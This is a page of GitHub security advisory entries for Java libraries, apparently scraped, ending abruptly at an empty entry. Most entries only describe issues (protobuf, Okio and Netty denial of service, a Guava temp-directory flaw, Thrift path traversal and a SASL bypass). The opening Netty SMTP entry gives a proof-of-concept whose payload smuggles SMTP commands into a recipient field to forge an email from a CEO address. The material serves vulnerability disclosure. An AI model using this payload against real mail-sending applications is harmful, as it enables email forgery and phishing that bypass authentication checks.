// The legitimate recipient is followed by an injected email sequence
String injected_recipient = "legit-recipient@example.com\r\n" +
"MAIL FROM:<ceo@trusted-domain.com>\r\n" +
"RCPT TO:<victim@anywhere.com>\r\n" +
"DATA\r\n" +
"From: ceo@trusted-domain.com\r\n" +
"To: victim@anywhere.com\r\n" +
"Subject: Urgent: Phishing Email\r\n" +
"\r\n" +
"This is a forged email that will pass authentication checks.\r\n" +
".\r\n" +
"QUIT\r\n";
2. Triggering the Vulnerability
The vulnerability is triggered when this payload is used to create an SMTP request.
// The Netty SMTP codec will fail to sanitize this input
SmtpRequest maliciousRequest = SmtpRequests.rcpt(injected_recipient);
// When this request is sent to an SMTP server, the injected commands
// will be executed, sending a forged email.
channel.writeAndFlush(maliciousRequest);
3. Full Reproduction Steps
A complete, runnable PoC is available as a GitHub Gist to demonstrate the full attack flow against a local SMTP server
- Full PoC Code: https://gist.github.com/DepthFirstDisclosures/ddacca28cb94b48fa8ab998cef59ed8c
To run the full PoC:
- Set up a local SMTP server. The easiest way is using MailHog:
- On macOS:
brew install mailhog && mailhog - Using Docker:
docker run -p 1025:1025 -p 8025:8025 mailhog/mailhog
- On macOS:
- Run the PoC code. The code will connect to the SMTP server at
localhost:1025and send the malicious payload. - Verify the result. Open the MailHog web UI at
http://localhost:8025. You will see the forged email sent tovictim@anywhere.comfromceo@trusted-domain.com.
Impact
This is a SMTP Command Injection vulnerability. It impacts any application using netty-codec-smtp to construct SMTP requests where an attacker can control or influence any of the SMTP string parameters (e.g., from, recipient, helo hostname).
The primary impacts are: * Economic Manipulation & Disinformation: Attackers can forge emails from high-value targets (e.g., corporate executives, government officials) and send them to journalists, financial institutions, or the public. A fraudulent email announcing false financial results, a fake merger, or a security breach could be used to manipulate stock prices or cause significant economic disruption. * Sophisticated Phishing: Attackers can send high-fidelity phishing emails that bypass email authentication (SPF/DKIM) and appear to come from a trusted source, making them highly likely to deceive users.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-smtp"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.7.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-smtp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.128.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-59419"
],
"database_specific": {
"cwe_ids": [
"CWE-78",
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-15T17:12:55Z",
"nvd_published_at": "2025-10-15T16:15:35Z",
"severity": "HIGH"
},
"details": "### Summary\nAn SMTP Command Injection (CRLF Injection) vulnerability in Netty\u0027s SMTP codec allows a remote attacker who can control SMTP command parameters (e.g., an email recipient) to forge arbitrary emails from the trusted server. This bypasses standard email authentication and can be used to impersonate executives and forge high-stakes corporate communications.\n\n### Details\nThe root cause is the lack of input validation for Carriage Return (\\r) and Line Feed (\\n) characters in user-supplied parameters.\n\nThe vulnerable code is in io.netty.handler.codec.smtp.DefaultSmtpRequest, where parameters are directly concatenated into the SMTP command string. For example, when SmtpRequests.rcpt(recipient) is called, a malicious recipient string containing CRLF sequences can inject a new, separate SMTP command.\n\nBecause the injected commands are sent from the server\u0027s trusted IP, any resulting emails will likely pass SPF and DKIM checks, making them appear legitimate to the victim\u0027s email client.\n\n### PoC\nA minimal PoC involves passing a crafted string containing CRLF sequences to any `SmtpRequest` that accepts user-controlled parameters.\n\n**1. Malicious Payload**\n\nThe core of the exploit is the payload, where new SMTP commands are injected into a parameter.\n\n```java\n// The legitimate recipient is followed by an injected email sequence\nString injected_recipient = \"legit-recipient@example.com\\r\\n\" +\n \"MAIL FROM:\u003cceo@trusted-domain.com\u003e\\r\\n\" +\n \"RCPT TO:\u003cvictim@anywhere.com\u003e\\r\\n\" +\n \"DATA\\r\\n\" +\n \"From: ceo@trusted-domain.com\\r\\n\" +\n \"To: victim@anywhere.com\\r\\n\" +\n \"Subject: Urgent: Phishing Email\\r\\n\" +\n \"\\r\\n\" +\n \"This is a forged email that will pass authentication checks.\\r\\n\" +\n \".\\r\\n\" +\n \"QUIT\\r\\n\";\n```\n\n**2. Triggering the Vulnerability**\n\nThe vulnerability is triggered when this payload is used to create an SMTP request.\n\n```java\n// The Netty SMTP codec will fail to sanitize this input\nSmtpRequest maliciousRequest = SmtpRequests.rcpt(injected_recipient);\n\n// When this request is sent to an SMTP server, the injected commands\n// will be executed, sending a forged email.\nchannel.writeAndFlush(maliciousRequest);\n```\n\n**3. Full Reproduction Steps**\n\nA complete, runnable PoC is available as a GitHub Gist to demonstrate the full attack flow against a local SMTP server\n\n* **Full PoC Code:** https://gist.github.com/DepthFirstDisclosures/ddacca28cb94b48fa8ab998cef59ed8c\n\nTo run the full PoC:\n\n1. **Set up a local SMTP server.** The easiest way is using MailHog:\n * On macOS: `brew install mailhog \u0026\u0026 mailhog`\n * Using Docker: `docker run -p 1025:1025 -p 8025:8025 mailhog/mailhog`\n2. **Run the PoC code.** The code will connect to the SMTP server at `localhost:1025` and send the malicious payload.\n3. **Verify the result.** Open the MailHog web UI at `http://localhost:8025`. You will see the forged email sent to `victim@anywhere.com` from `ceo@trusted-domain.com`.\n\n### Impact\nThis is a SMTP Command Injection vulnerability. It impacts any application using `netty-codec-smtp` to construct SMTP requests where an attacker can control or influence any of the SMTP string parameters (e.g., `from`, `recipient`, `helo` hostname).\n\nThe primary impacts are:\n* **Economic Manipulation \u0026 Disinformation:** Attackers can forge emails from high-value targets (e.g., corporate executives, government officials) and send them to journalists, financial institutions, or the public. A fraudulent email announcing false financial results, a fake merger, or a security breach could be used to manipulate stock prices or cause significant economic disruption.\n* **Sophisticated Phishing:** Attackers can send high-fidelity phishing emails that bypass email authentication (SPF/DKIM) and appear to come from a trusted source, making them highly likely to deceive users.",
"id": "GHSA-jq43-27x9-3v86",
"modified": "2025-10-17T21:32:39Z",
"published": "2025-10-15T17:12:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59419"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/1782e8c2060a244c4d4e6f9d9112d5517ca05120"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/2b3fddd3339cde1601f622b9ce5e54c39f24c3f9"
},
{
"type": "WEB",
"url": "https://gist.github.com/DepthFirstDisclosures/ddacca28cb94b48fa8ab998cef59ed8c"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://www.depthfirst.com/post/our-ai-agent-found-a-netty-zero-day-that-bypasses-email-authentication-the-story-of-cve-2025-59419"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Netty has SMTP Command Injection Vulnerability that Allows Email Forgery"
}
GHSA-4GG5-VX3J-XWC7
Vulnerability from github – Published: 2022-12-12 15:30 – Updated: 2025-09-02 19:38A parsing issue similar to CVE-2022-3171, but with Message-Type Extensions in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-java"
},
"ranges": [
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"introduced": "3.0.0"
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"name": "com.google.protobuf:protobuf-java"
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]
},
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"name": "com.google.protobuf:protobuf-java"
},
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},
{
"fixed": "3.20.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
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"name": "com.google.protobuf:protobuf-java"
},
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"events": [
{
"introduced": "3.21.0"
},
{
"fixed": "3.21.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-javalite"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.16.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-javalite"
},
"ranges": [
{
"events": [
{
"introduced": "3.17.0"
},
{
"fixed": "3.19.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-javalite"
},
"ranges": [
{
"events": [
{
"introduced": "3.20.0"
},
{
"fixed": "3.20.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-javalite"
},
"ranges": [
{
"events": [
{
"introduced": "3.21.0"
},
{
"fixed": "3.21.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-3510"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2022-12-12T22:34:26Z",
"nvd_published_at": "2022-12-12T13:15:00Z",
"severity": "HIGH"
},
"details": "A parsing issue similar to CVE-2022-3171, but with Message-Type Extensions in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above.",
"id": "GHSA-4gg5-vx3j-xwc7",
"modified": "2025-09-02T19:38:11Z",
"published": "2022-12-12T15:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3510"
},
{
"type": "WEB",
"url": "https://github.com/protocolbuffers/protobuf/commit/db7c17803320525722f45c1d26fc08bc41d1bf48"
},
{
"type": "PACKAGE",
"url": "https://github.com/protocolbuffers/protobuf/tree/main/java"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Protobuf Java vulnerable to Uncontrolled Resource Consumption"
}
GHSA-389X-839F-4RHX
Vulnerability from github – Published: 2025-02-10 18:14 – Updated: 2025-03-19 14:51Summary
An unsafe reading of environment file could potentially cause a denial of service in Netty. When loaded on an Windows application, Netty attemps to load a file that does not exist. If an attacker creates such a large file, the Netty application crash.
Details
A similar issue was previously reported in https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv This issue was fixed, but the fix was incomplete in that null-bytes were not counted against the input limit.
PoC
The PoC is the same as for https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv with the detail that the file should only contain null-bytes; 0x00.
When the null-bytes are encountered by the InputStreamReader, it will issue replacement characters in its charset decoding, which will fill up the line-buffer in the BufferedReader.readLine(), because the replacement character is not a line-break character.
Impact
Impact is the same as https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-common"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
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}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-25193"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2025-02-10T18:14:47Z",
"nvd_published_at": "2025-02-10T22:15:38Z",
"severity": "MODERATE"
},
"details": "### Summary\nAn unsafe reading of environment file could potentially cause a denial of service in Netty.\nWhen loaded on an Windows application, Netty attemps to load a file that does not exist. If an attacker creates such a large file, the Netty application crash.\n\n### Details\nA similar issue was previously reported in https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv\nThis issue was fixed, but the fix was incomplete in that null-bytes were not counted against the input limit.\n\n\n### PoC\nThe PoC is the same as for https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv with the detail that the file should only contain null-bytes; 0x00.\nWhen the null-bytes are encountered by the `InputStreamReader`, it will issue replacement characters in its charset decoding, which will fill up the line-buffer in the `BufferedReader.readLine()`, because the replacement character is not a line-break character.\n\n### Impact\nImpact is the same as https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv",
"id": "GHSA-389x-839f-4rhx",
"modified": "2025-03-19T14:51:27Z",
"published": "2025-02-10T18:14:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-389x-839f-4rhx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25193"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/d1fbda62d3a47835d3fb35db8bd42ecc205a5386"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20250221-0006"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Denial of Service attack on windows app using Netty"
}
GHSA-W33C-445M-F8W7
Vulnerability from github – Published: 2023-07-12 21:30 – Updated: 2023-07-13 17:01GzipSource does not handle an exception that might be raised when parsing a malformed gzip buffer. This may lead to denial of service of the Okio client when handling a crafted GZIP archive, by using the GzipSource class.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.squareup.okio:okio"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0-RC1"
},
{
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],
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}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.squareup.okio:okio"
},
"ranges": [
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"introduced": "0"
},
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]
},
{
"package": {
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"name": "com.squareup.okio:okio-jvm"
},
"ranges": [
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}
],
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}
]
}
],
"aliases": [
"CVE-2023-3635"
],
"database_specific": {
"cwe_ids": [
"CWE-195",
"CWE-681"
],
"github_reviewed": true,
"github_reviewed_at": "2023-07-13T17:01:48Z",
"nvd_published_at": "2023-07-12T19:15:08Z",
"severity": "MODERATE"
},
"details": "GzipSource does not handle an exception that might be raised when parsing a malformed gzip buffer. This may lead to denial of service of the Okio client when handling a crafted GZIP archive, by using the GzipSource class.\n\n",
"id": "GHSA-w33c-445m-f8w7",
"modified": "2023-07-13T17:01:48Z",
"published": "2023-07-12T21:30:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3635"
},
{
"type": "WEB",
"url": "https://github.com/square/okio/pull/1280"
},
{
"type": "WEB",
"url": "https://github.com/square/okio/pull/1334"
},
{
"type": "WEB",
"url": "https://github.com/square/okio/commit/81bce1a30af244550b0324597720e4799281da7b"
},
{
"type": "WEB",
"url": "https://github.com/square/okio/commit/b4fa875dc24950680c386e4b1c593660ce4f7839"
},
{
"type": "PACKAGE",
"url": "https://github.com/square/okio"
},
{
"type": "WEB",
"url": "https://github.com/square/okio/blob/master/CHANGELOG.md#version-1176"
},
{
"type": "WEB",
"url": "https://research.jfrog.com/vulnerabilities/okio-gzip-source-unhandled-exception-dos-xray-523195"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Okio Signed to Unsigned Conversion Error vulnerability"
}
GHSA-5MG8-W23W-74H3
Vulnerability from github – Published: 2021-03-25 17:04 – Updated: 2026-02-23 22:45A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava com.google.common.io.Files.createTempDir(). The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.google.guava:guava"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "32.0.0-android"
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}
]
}
],
"aliases": [
"CVE-2020-8908"
],
"database_specific": {
"cwe_ids": [
"CWE-173",
"CWE-200",
"CWE-378",
"CWE-732"
],
"github_reviewed": true,
"github_reviewed_at": "2021-03-25T17:01:09Z",
"nvd_published_at": "2020-12-10T23:15:00Z",
"severity": "LOW"
},
"details": "A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method.",
"id": "GHSA-5mg8-w23w-74h3",
"modified": "2026-02-23T22:45:53Z",
"published": "2021-03-25T17:04:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-8908"
},
{
"type": "WEB",
"url": "https://github.com/google/guava/issues/4011"
},
{
"type": "WEB",
"url": "https://github.com/google/guava/issues/4011#issuecomment-1578991974"
},
{
"type": "WEB",
"url": "https://github.com/google/guava/commit/feb83a1c8fd2e7670b244d5afd23cba5aca43284"
},
{
"type": "WEB",
"url": "https://github.com/google/guava/commit/fec0dbc4634006a6162cfd4d0d09c962073ddf40"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rd5d58088812cf8e677d99b07f73c654014c524c94e7fedbdee047604@%3Ctorque-dev.db.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rd5d58088812cf8e677d99b07f73c654014c524c94e7fedbdee047604%40%3Ctorque-dev.db.apache.org%3E"
},
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},
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},
{
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},
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"url": "https://lists.apache.org/thread.html/rc2dbc4633a6eea1fcbce6831876cfa17b73759a98c65326d1896cb1a@%3Ctorque-dev.db.apache.org%3E"
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{
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"type": "CVSS_V3"
}
],
"summary": "Information Disclosure in Guava"
}
GHSA-J288-Q9X7-2F5V
Vulnerability from github – Published: 2025-07-11 15:31 – Updated: 2025-11-05 20:30Uncontrolled Recursion vulnerability in Apache Commons Lang.
This issue affects Apache Commons Lang: Starting with commons-lang:commons-lang 2.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before 3.18.0.
The methods ClassUtils.getClass(...) can throw StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a StackOverflowError could cause an application to stop.
Users are recommended to upgrade to version 3.18.0, which fixes the issue.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.commons:commons-lang3"
},
"ranges": [
{
"events": [
{
"introduced": "3.0"
},
{
"fixed": "3.18.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "commons-lang:commons-lang"
},
"ranges": [
{
"events": [
{
"introduced": "2.0"
},
{
"last_affected": "2.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-48924"
],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": true,
"github_reviewed_at": "2025-07-12T00:48:03Z",
"nvd_published_at": "2025-07-11T15:15:24Z",
"severity": "MODERATE"
},
"details": "Uncontrolled Recursion vulnerability in Apache Commons Lang.\n\nThis issue affects Apache Commons Lang: Starting with\u00a0commons-lang:commons-lang\u00a02.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before\u00a03.18.0.\n\nThe methods ClassUtils.getClass(...) can throw\u00a0StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a StackOverflowError could\u00a0cause an application to stop.\n\nUsers are recommended to upgrade to version 3.18.0, which fixes the issue.",
"id": "GHSA-j288-q9x7-2f5v",
"modified": "2025-11-05T20:30:31Z",
"published": "2025-07-11T15:31:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48924"
},
{
"type": "WEB",
"url": "https://github.com/apache/commons-lang/commit/b424803abdb2bec818e4fbcb251ce031c22aca53"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/commons-lang"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/bgv0lpswokgol11tloxnjfzdl7yrc1g1"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/08/msg00000.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/08/msg00026.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/09/msg00032.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/09/msg00036.html"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2025/07/11/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Apache Commons Lang is vulnerable to Uncontrolled Recursion when processing long inputs"
}
GHSA-VX85-MJ8C-4QM6
Vulnerability from github – Published: 2019-01-17 13:56 – Updated: 2023-09-11 18:30The Apache Thrift Node.js static web server in versions 0.9.2 through 0.11.0 have been determined to contain a security vulnerability in which a remote user has the ability to access files outside the set webservers docroot path.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.thrift:libthrift"
},
"ranges": [
{
"events": [
{
"introduced": "0.9.2"
},
{
"fixed": "0.12.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2018-11798"
],
"database_specific": {
"cwe_ids": [
"CWE-538"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T21:58:46Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "The Apache Thrift Node.js static web server in versions 0.9.2 through 0.11.0 have been determined to contain a security vulnerability in which a remote user has the ability to access files outside the set webservers docroot path.",
"id": "GHSA-vx85-mj8c-4qm6",
"modified": "2023-09-11T18:30:27Z",
"published": "2019-01-17T13:56:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-11798"
},
{
"type": "WEB",
"url": "https://github.com/apache/thrift/pull/1606"
},
{
"type": "WEB",
"url": "https://github.com/apache/thrift/commit/2a2b72f6c8aef200ecee4984f011e06052288ff2"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:1545"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:3140"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-vx85-mj8c-4qm6"
},
{
"type": "WEB",
"url": "https://issues.apache.org/jira/browse/THRIFT-4647"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/6e9edd282684896cedf615fb67a02bebfe6007f2d5baf03ba52e34fd@%3Cuser.thrift.apache.org%3E"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20200227094236/http://www.securityfocus.com/bid/106501"
},
{
"type": "WEB",
"url": "https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Apache Thrift Node.js static web server sandbox escape"
}
GHSA-WJXJ-F8RG-99WX
Vulnerability from github – Published: 2019-01-17 13:56 – Updated: 2024-03-04 20:36Apache Thrift Java client library versions 0.5.0 prior to 0.9.3-1 and 0.10.0 prior to 0.12.0 can bypass SASL negotiation isComplete validation in the org.apache.thrift.transport.TSaslTransport class. An assert used to determine if the SASL handshake had successfully completed could be disabled in production settings making the validation incomplete.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.thrift:libthrift"
},
"ranges": [
{
"events": [
{
"introduced": "0.5.0"
},
{
"fixed": "0.9.3-1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.thrift:libthrift"
},
"ranges": [
{
"events": [
{
"introduced": "0.10.0"
},
{
"fixed": "0.12.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2018-1320"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-295"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T22:00:45Z",
"nvd_published_at": "2019-01-07T17:29:00Z",
"severity": "HIGH"
},
"details": "Apache Thrift Java client library versions 0.5.0 prior to 0.9.3-1 and 0.10.0 prior to 0.12.0 can bypass SASL negotiation isComplete validation in the org.apache.thrift.transport.TSaslTransport class. An assert used to determine if the SASL handshake had successfully completed could be disabled in production settings making the validation incomplete.",
"id": "GHSA-wjxj-f8rg-99wx",
"modified": "2024-03-04T20:36:08Z",
"published": "2019-01-17T13:56:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1320"
},
{
"type": "WEB",
"url": "https://github.com/apache/thrift/commit/7489ed6ac8bad64e72fa83ec9d53e1eeddca6c23"
},
{
"type": "WEB",
"url": "https://github.com/apache/thrift/commit/d973409661f820d80d72c0034d06a12348c8705e"
},
{
"type": "WEB",
"url": "https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuapr2020.html"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20200227094237/http://www.securityfocus.com/bid/106551"
},
{
"type": "WEB",
"url": "https://support.f5.com/csp/article/K36361684"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2019/02/msg00008.html"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r4d3f1d3e333d9c2b2f6e6ae8ed8750d4de03410ac294bcd12c7eefa3@%3Ccommits.cassandra.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r3d71a6dbb063aa61ba81278fe622b20bfe7501bb3821c27695641ac3@%3Ccommits.cassandra.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r261972a3b14cf6f1dcd94b1b265e9ef644a38ccdf0d0238fa0c4d459@%3Ccommits.cassandra.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r2278846f7ab06ec07a0aa31457235e0ded9191b216cba55f3f315f16@%3Ccommits.cassandra.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r1015eaadef8314daa9348aa423086a732cfeb998ceb5d42605c9b0b5@%3Ccommits.cassandra.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r09c3dcdccf4b74ad13bda79b354e6b793255ccfe245cca1b8cee23f5@%3Ccommits.cassandra.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/f9bc3e55f4e28d1dcd1a69aae6d53e609a758e34d2869b4d798e13cc@%3Cissues.drill.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/e825ff2f4e129c0ecdb6a19030b53c1ccdf810a8980667628d0c6a80@%3Cannounce.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/dfee89880c84874058c6a584d8128468f8d3c2ac25068ded91073adc@%3Cuser.storm.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/dbe3a39b48900318ad44494e8721f786901ba4520cd412c7698f534f@%3Cdev.storm.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/da5234b5e78f1c99190407f791dfe1bf6c58de8d30d15974a9669be3@%3Cuser.thrift.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/b0656d359c7d40ec9f39c8cc61bca66802ef9a2a12ee199f5b0c1442@%3Cdev.drill.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/8be5b16c02567fff61b1284e5df433a4e38617bc7de4804402bf62be@%3Ccommits.cassandra.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/6b07f6f618155c777191b4fad8ade0f0cf4ed4c12a1a746ce903d816@%3Ccommits.cassandra.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/519eb0fd45642dcecd9ff74cb3e71c20a4753f7d82e2f07864b5108f@%3Cdev.drill.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/3d3b6849fcf4cd1e87703b3dde0d57aabeb9ba0193dc0cf3c97f545d@%3Ccommits.cassandra.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/187684ac8b94d55256253f5220cb55e8bd568afdf9a8a86e9bbb66c9@%3Cdevnull.infra.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/07c3cd5a2953a4b253eee4437b1397b1603d0f886437e19b657d2c54@%3Ccommits.cassandra.apache.org%3E"
},
{
"type": "WEB",
"url": "https://issues.apache.org/jira/browse/THRIFT-4506"
},
{
"type": "WEB",
"url": "https://github.com/apache/thrift/releases/tag/0.9.3.1"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/thrift"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:2413"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2019/07/24/3"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/106551"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Improper Input Validation in Apache Thrift"
}
GHSA-269Q-HMXG-M83Q
Vulnerability from github – Published: 2022-05-10 08:46 – Updated: 2022-05-10 08:46Description
